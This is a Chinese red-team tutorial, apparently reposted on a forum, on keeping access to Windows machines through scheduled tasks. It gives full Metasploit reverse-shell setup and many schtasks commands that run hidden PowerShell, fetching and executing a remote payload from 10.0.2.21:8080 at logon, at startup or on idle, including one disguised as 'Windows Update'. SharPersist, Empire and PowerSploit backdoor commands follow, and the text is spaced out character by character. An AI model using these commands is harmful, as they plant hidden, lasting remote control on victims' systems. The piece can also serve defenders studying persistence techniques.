搜索

[27096] 2020-11-06_通过计划任务实现持续性攻击

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2020-11-06_通过计划任务实现持续性攻击 通 过 计 划 任 务 实 现 持 续 性 攻 击 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 1 1 - 0 6 W i n d o w s 操 作 系 统 中 提 供 了 一 个 实 用 工 具 s c h t a s k s . e x e ， 系 统 管 理 可 以 使 用 该 工 具 完 成 在 指 定 日 期 和 时 间 执 行 程 序 或 脚 本 的 工 作 。 但 是 目 前 这 个 工 具 经 常 被 黑 客 或 者 红 队 利 用 ， 从 而 实 现 持 续 性 攻 击 。 普 通 情 况 下 ， 通 过 计 划 任 务 实 现 持 续 性 攻 击 不 需 要 用 到 管 理 员 的 权 限 ， 但 是 如 果 你 希 望 能 获 得 更 加 灵 活 的 操 作 ， 例 如 指 定 用 户 登 录 时 或 者 系 统 空 闲 时 执 行 某 个 任 务 ， 还 是 会 需 要 用 到 管 理 员 的 权 限 。 通 过 计 划 任 务 完 成 的 持 续 性 攻 击 既 可 以 手 动 实 现 ， 也 可 以 自 动 实 现 。 P a y l o a d 既 可 以 从 磁 盘 上 执 行 ， 也 可 以 从 远 程 位 置 下 载 执 行 ， 这 些 P a y l o a d 可 以 是 可 执 行 文 件 、 P o w e r S h e l l 脚 本 或 者 s c r i p t l e t s 形 式 。 这 种 方 法 已 经 由 来 已 久 ， 但 是 却 仍 然 被 黑 客 或 者 红 队 所 广 泛 使 用 ， 而 且 现 在 已 经 有 很 多 开 源 工 具 中 也 都 使 用 了 这 个 方 法 。 M e t a s p l o i t 中 的 “ w e b _ d e l i v e r y ” 模 块 可 用 于 管 理 和 生 成 各 种 格 式 的 P a y l o a d 。 在 命 令 提 示 行 中 使 用 “ s c h t a s k s ” 命 令 可 以 创 建 一 个 计 划 任 务 。 例 如 使 用 下 面 的 命 令 就 可 以 指 定 在 每 次 系 统 登 录 时 ， 操 作 系 统 会 自 动 去 下 载 并 执 行 一 个 基 于 P o w e r S h e l l 的 P a y l o a d 。 u s e   e x p l o i t / m u l t i / s c r i p t / w e b _ d e l i v e r y s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   1 0 . 0 . 2 . 2 1 s e t   t a r g e t   5 e x p l o i t s c h t a s k s   / c r e a t e   / t n   P e n t e s t L a b   / t r   " c : w i n d o w s s y s w o w 6 4 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - W i n d o w S t y l e   h i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - e p   b y p a s s   - n o p   - c   ' I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t t p : / / 1 0 . 0 . 2 . 2 1 : 8 0 8 0 / Z P W L y w g ' ' ' ) ) ' " / s c   o n l o g o n   / r u   S y s t e
图 * - *   命 令 提 示 符 中 实 现 的 计 划 任 务 当 系 统 用 户 再 次 登 录 时 ， 系 统 将 下 载 执 行 P a y l o a d 并 建 立 M e t e r p r e t e r 会 话 。 图 * - *   通 过 计 划 任 务 建 立 的 M e t e r p e r t e r 也 可 以 指 定 P a y l o a d 在 系 统 启 动 期 间 或 系 统 空 闲 时 执 行 。 # ( X 6 4 )   -   O n   S y s t e m   S t a r t s c h t a s k s   / c r e a t e   / t n   P e n t e s t L a b   / t r   " c : w i n d o w s s y s w o w 6 4 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - W i n d o w S t y l e   h i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - e p   b y p a s s   - n o p   - c   ' I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t t p : / / 1 0 . 0 . 2 . 2 1 : 8 0 8 0 / Z P W L y w g ' ' ' ) ) ' " / s c   o n s t a r t   / r u   S y s t e m # ( X 6 4 )   -   O n   U s e r   I d l e   ( 3 0 m i n s ) s c h t a s k s   / c r e a t e   / t n   P e n t e s t L a b   / t r   " c : w i n d o w s s y s w o w 6 4 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - W i n d o w S t y l e   h i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - e p   b y p a s s   - n o p   - c   ' I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t t p : / / 1 0 . 0 . 2 . 2 1 : 8 0 8 0 / Z P W L y w g ' ' ' ) ) ' "   / s c   o n i d l e   / i   3 0   # ( X 8 6 )   -   O n   U s e r   L o g i n s c h t a s k s   / c r e a t e   / t n   P e n t e s t L a b   / t r   " c : w i n d o w s s y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - W i n d o w S t y l e   h i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - e p   b y p a s s   - n o p   - c   ' I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t t p : / / 1 0 . 0 . 2 . 2 1 : 8 0 8 0 / Z P W L y w g ' ' ' ) ) ' " / s c   o n l o g o n   / r u   S y s t e m
另 外 我 们 也 可 以 指 定 P a y l o a d 在 特 定 的 日 期 和 时 间 来 执 行 ， 而 且 也 可 以 实 现 P a y l o a d 的 自 动 删 除 。 图 * - *   指 定 日 期 和 时 间 开 展 的 持 续 性 攻 击 如 果 一 个 事 件 （ e v e n t ） 开 启 了 事 件 日 志 （ e v e n t   l o g g i n g ） ， 那 么 就 可 以 通 过 这 个 事 件 来 触 发 一 个 任 务 （ t a s k ） ， b 3 3 f 在 他 的 网 站 上 展 示 了 这 种 技 术 。 在 W i n d o w s 中 的 事 件 （ e v e n t ） 命 令 行 可 以 查 询 事 件 （ e v e n t ） 的 I D 。 # ( X 8 6 )   -   O n   S y s t e m   S t a r t s c h t a s k s   / c r e a t e   / t n   P e n t e s t L a b   / t r   " c : w i n d o w s s y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - W i n d o w S t y l e   h i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - e p   b y p a s s   - n o p   - c   ' I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t t p : / / 1 0 . 0 . 2 . 2 1 : 8 0 8 0 / Z P W L y w g ' ' ' ) ) ' "   / s c   o n s t a r t   / r u   S y s t e m # ( X 8 6 )   -   O n   U s e r   I d l e   ( 3 0 m i n s ) s c h t a s k s   / c r e a t e   / t n   P e n t e s t L a b   / t r   " c : w i n d o w s s y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - W i n d o w S t y l e   h i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - e p   b y p a s s   - n o p   - c   ' I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t t p : / / 1 0 . 0 . 2 . 2 1 : 8 0 8 0 / Z P W L y w g ' ' ' ) ) ' "   / s c   o n i d l e   / i   3 0 s c h t a s k s   / C R E A T E   / T N   " W i n d o w s   U p d a t e "   / T R   " c : w i n d o w s s y s w o w 6 4 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e   - W i n d o w S t y l e   h i d d e n   - N o L o g o   - N o n I n t e r a c t i v e   - e p   b y p a s s   - n o p   - c   ' I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t t p : / / 1 0 . 0 . 2 . 2 1 : 8 0 8 0 / Z P W L y w g ' ' ' ) ) ' " / S C   m i n u t e   / M O   1   / E D   0 4 / 1 1 / 2 0 1 9   / E T   0 6 : 5 3   / Z   / I T   / R U   % U S E R N A M E %
我 们 可 以 创 建 一 个 关 联 特 定 事 件 的 计 划 任 务 （ 下 载 执 行 某 个 p a y l o a d ） 。 图 * - *   持 续 性 攻 击 - 计 划 任 务 事 件 I D “ Q u e r y ” 参 数 可 用 于 检 索 新 创 建 的 计 划 任 务 的 信 息 ： s c h t a s k s   / Q u e r y   / t n   O n L o g O f f   / f o   L i s t   / v
图 * - *     查 询 调 度 任 务 当 目 标 系 统 的 用 户 管 理 员 注 销 时 ， 将 创 建 事 件 I D ， 并 在 下 次 登 录 时 执 行 p a y l o a d 。 图 * - *     用 户 管 理 员 注 销 获 取 的 M e t e r p r e t e r 我 们 也 可 以 使 用 P o w e r S h e l l 创 建 计 划 任 务 ， 这 些 任 务 将 在 用 户 登 录 时 或 在 特 定 的 时 间 和 日 期 执 行 。 $ A   =   N e w - S c h e d u l e d T a s k A c t i o n   - E x e c u t e   " c m d . e x e "   - A r g u m e n t   " / c   C : t e m p p e n t e s t l a b . e x e " $ T   =   N e w - S c h e d u l e d T a s k T r i g g e r   - A t L o g O n   - U s e r   " p e n t e s t l a b " $ S   =   N e w - S c h e d u l e d T a s k S e t t i n g s S e t $ P   =   N e w - S c h e d u l e d T a s k P r i n c i p a l   " P e n t e s t l a b " $ D   =   N e w - S c h e d u l e d T a s k   - A c t i o n   $ A   - T r i g g e r   $ T   - P r i n c i p a l   $ P   - S e t t i n g s   $ S R e g i s t e r - S c h e d u l e d T a s k   P e n t e s t l a b   - I n p u t O b j e c   $ D $ A   =   N e w - S c h e d u l e d T a s k A c t i o n   - E x e c u t e   " c m d . e x e "   - A r g u m e n t   " / c   C : t e m p p e n t e s t l a b . e x e " $ T   =   N e w - S c h e d u l e d T a s k T r i g g e r   - D a i l y   - A t   9 a m $ P   =   N e w - S c h e d u l e d T a s k P r i n c i p a l   " N T   A U T H O R I T Y S Y S T E M "   - R u n L e v e l   H i g h e s t $ S   =   N e w - S c h e d u l e d T a s k S e t t i n g s S e t $ D   =   N e w - S c h e d u l e d T a s k   - A c t i o n   $ A   - T r i g g e r   $ T   - P r i n c i p a l   $ P   - S e t t i n g s   $ S R e g i s t e r - S c h e d u l e d T a s k   P e n t e s t L a b o r a t o r i e s   - I n p u t O b j e c t   $ D
图 * - *   持 续 性 攻 击 - P o w e r S h e l l S h a r P e r s i s t h t t p s : / / g i t h u b . c o m / f i r e e y e / S h a r P e r s i s t B r e t t   H a w k i n s 通 过 计 划 任 务 在 工 具 S h a r P e r s i s t 中 实 现 多 种 持 续 性 攻 击 的 方 法 。 如 果 用 户 具 有 管 理 员 级 别 的 权 限 ， 就 可 以 使 用 以 下 命 令 来 创 建 一 个 新 的 计 划 任 务 ， 该 任 务 将 会 在 系 统 登 录 时 执 行 。 图 * - *   S h a r P e r s i s t – 新 计 划 任 务 （ 登 录 时 触 发 ） 在 下 一 次 登 录 系 统 时 ， 将 执 行 p a y l o a d 并 打 开 M e t e r M e t e r 会 话 。 S h a r P e r s i s t . e x e   - t   s c h t a s k   - c   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   - a   " / c   C : t m p p e n t e s t l a b . e x e "   - n   " P e n t e s t L a b "   - m   a d d   - o   l o g o n S h a r P e r s i s t   - t   s c h t a s k   - m   l i s t   - n   " P e n t e s t L a b "
图 * - *   使 用 S h a r P e r s i s t 列 出 的 任 务 信 息 或 者 只 使 用 “ l i s t ” 选 项 而 不 指 定 名 称 将 枚 举 系 统 上 所 有 现 有 的 计 划 任 务 。 S h a r P e r s i s t   - t   s c h t a s k   - m   l i s t 图 * - *   使 用 S h a r P e r s i s t 列 出 的 计 划 任 务 信 息 与 M e t a s p l o i t 框 架 功 能 类 似 ， S h a r P e r s i s t 中 也 具 有 检 查 目 标 是 否 易 受 攻 击 的 功 能 ， S h a r P e r s i s t 提 供 了 一 个 运 行 检 查 ， 这 个 功 能 可 用 于 通 过 检 查 名 称 和 提 供 的 参 数 来 验 证 计 划 任 务 。 S h a r P e r s i s t . e x e   - t   s c h t a s k   - c   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   - a   " / c   C : t m p p e n t e s t l a b . e x e "   - n   " P e n t e s t L a b "   - m   c h e c k
图 * - *   使 用 S h a r P e r s i s t 检 查 任 务 信 息 能 否 执 行 S h a r P e r s i s t 还 可 以 枚 举 登 录 期 间 将 执 行 的 所 有 计 划 任 务 。 此 命 令 可 在 主 机 的 环 境 调 查 （ s i t u a t i o n a l   a w a r e n e s s ） 期 间 使 用 ， 并 确 定 是 否 可 以 修 改 现 有 任 务 而 不 是 新 建 任 务 来 执 行 P a y l o a d 。 图 * - *   使 用 S h a r P e r s i s t 列 出 的 登 录 时 计 划 任 务 列 表 s c h t a s k b a c k d o o r 功 能 和 c h e c k 结 合 使 用 ， 可 以 识 别 特 定 的 调 度 任 务 是 否 已 存 在 后 门 。 C : t m p p e n t e s t l a b . e x e "   - n   " P e n t e s t L a b "   - m   c h e c k S h a r P e r s i s t   - t   s c h t a s k b a c k d o o r   - m   l i s t   - o   l o g o n S h a r P e r s i s t . e x e   - t   s c h t a s k b a c k d o o r   - c   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   - a   " / c   C : t m p p e n t e s t l a b . e x e "   - n   " P e n t e s t L a b "   - m   c h e c k
图 * - *   使 用 S h a r P e r s i s t 列 出 的 B a c k d o o r   计 划 任 务 列 表 “ A d d ” 参 数 用 来 隐 藏 一 个 现 有 的 计 划 任 务 ， 该 任 务 将 执 行 恶 意 命 令 ， 而 不 是 执 行 合 法 的 操 作 。 图 * - *   使 用 S h a r P e r s i s t 列 出 的 B a c k d o o r   计 划 任 务 列 表 E m p i r e E m p i r e 中 包 含 两 个 可 以 用 来 实 现 计 划 任 务 的 模 块 （ 区 别 在 于 使 用 时 权 限 不 同 ） ， 下 面 给 出 的 命 令 可 以 通 过 P o w e r S h e l l 的 u s e r l a n d 模 块 在 每 天 的 3 ： 2 2 a m 执 行 一 个 p a y l o a d 。 这 个 p a y l o a d 在 注 册 表 中 的 的 任 务 名 称 为 “ W i n d o w s U p d a t e ” ， 这 里 要 和 正 常 的 任 务 区 分 开 。 图 * - *   使 用 E m p i r e 列 出 的 B a c k d o o r   计 划 任 务 列 表 P o w e r S h e l l 的 e l e v a t e d 模 块 提 供 了 一 个 用 户 登 录 时 执 行 计 划 任 务 的 选 项 。 注 册 表 中 将 这 两 个 模 块 以 B a s e 6 4 编 码 的 格 式 存 储 在 不 同 的 表 项 中 。 S h a r P e r s i s t . e x e   - t   s c h t a s k b a c k d o o r   - c   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   - a   " / c   C : t m p p e n t e s t l a b . e x e "   - n   " R e c o n c i l e L a n g u a g e R e s o u r c e s "   - m   a d d u s e m o d u l e   p e r s i s t e n c e / u s e r l a n d / s c h t a s k s s e t   L i s t e n e r   h t t p s e t   T a s k N a m e   W i n d o w s U p d a t e s e t   D a i l y T i m e   0 3 : 2 2 e x e c u t e u s e m o d u l e   p e r s i s t e n c e / e l e v a t e d / s c h t a s k s * s e t   L i s t e n e r   h t t p
图 * - *   e l e v a t e d 模 块 P o w e r S p l o i t P o w e r S p l o i t 的 持 续 性 攻 击 模 块 支 持 一 些 可 以 向 脚 本 或 脚 本 块 添 加 持 续 性 攻 击 的 功 能 。 在 使 用 这 个 模 块 时 ， 需 要 配 置 E l e v a t e d 和 u s e r 选 项 。 图 * - *   P o w e r S p l o i t   –   计 划 任 务 列 表 f r o m : h t t p s : / / p e n t e s t l a b . b l o g / t a g / p o w e r s p l o i t 想 看 更 多 国 际 顶 级 技 术 文 章 的 读 者 可 以 加 入 我 们 想 看 更 多 国 际 顶 级 技 术 文 章 的 读 者 可 以 加 入 我 们 " K a l i   L i n u x 2 0 2 0   渗 透 测 试 指 南 渗 透 测 试 指 南 " 知 识 星 球 知 识 星 球 ， 我 们 会 提 供 超 过 ， 我 们 会 提 供 超 过 2 0 篇 篇 最 新 国 外 的 技 术 文 章 的 原 创 翻 译 文 章 和 视 频 最 新 国 外 的 技 术 文 章 的 原 创 翻 译 文 章 和 视 频 讲 解 ！ 讲 解 ！ 当 前 很 多 培 训 机 构 和 安 全 公 众 号 在 技 术 上 炒 冷 饭 ， 我 们 希 望 能 够 和 大 家 分 享 国 内 外 研 究 热 点 的 论 文 和 最 新 技 术 当 前 很 多 培 训 机 构 和 安 全 公 众 号 在 技 术 上 炒 冷 饭 ， 我 们 希 望 能 够 和 大 家 分 享 国 内 外 研 究 热 点 的 论 文 和 最 新 技 术 文 章 ， 主 要 是 外 文 文 献 为 准 ， 目 的 是 帮 助 大 家 更 深 层 次 的 去 了 解 到 当 前 世 界 上 安 全 领 域 最 新 的 研 究 方 向 ， 以 及 国 内 文 章 ， 主 要 是 外 文 文 献 为 准 ， 目 的 是 帮 助 大 家 更 深 层 次 的 去 了 解 到 当 前 世 界 上 安 全 领 域 最 新 的 研 究 方 向 ， 以 及 国 内 外 这 些 网 络 安 全 专 家 他 们 研 究 问 题 的 思 路 和 方 法 ！ 外 这 些 网 络 安 全 专 家 他 们 研 究 问 题 的 思 路 和 方 法 ！   星 球 主 讲 人 ： 星 球 主 讲 人 ： 李 华 峰 李 华 峰 ， 信 息 安 全 顾 问 和 自 由 撰 稿 人 ， 多 年 来 一 直 从 事 网 络 安 全 渗 透 测 试 方 面 的 研 究 工 作 。 在 网 络 安 全 部 署 、 网 络 攻 击 与 防 御 以 及 社 会 工 程 学 等 方 面 有 十 分 丰 富 的 实 践 经 验 。 已 出 版 的 著 作 和 译 著 包 括 ： 《 精 通 M e t a s p l o i t 渗 透 测 试 （ 第 2 版 ） 》 《 诸 神 之 眼 — N m a p 网 络 安 全 审 计 技 术 揭 秘 》 《 P y t h o n 渗 透 测 试 编 程 - 技 术 方 法 与 实 践 2 》 《 W i r e s h a r k 网 络 分 析 从 入 门 到 实 践 》 《 K a l i   L i n u x   2 网 络 渗 透 测 试 实 践 指 南   2 》 等 。   扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ $ E l e v a t e d O p t i o n s   =   N e w - E l e v a t e d P e r s i s t e n c e O p t i o n   - S c h e d u l e d T a s k   - H o u r l y $ U s e r O p t i o n s   =   N e w - U s e r P e r s i s t e n c e O p t i o n   - S c h e d u l e d T a s k   - H o u r l y A d d - P e r s i s t e n c e   - F i l e P a t h   C : t e m p e m p i r e . e x e   - E l e v a t e d P e r s i s t e n c e O p t i o n   $ E l e v a t e d O p t i o n s   - U s e r P e r s i s t e n c e O p t i o n   $ U s e r O p t i o n s
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理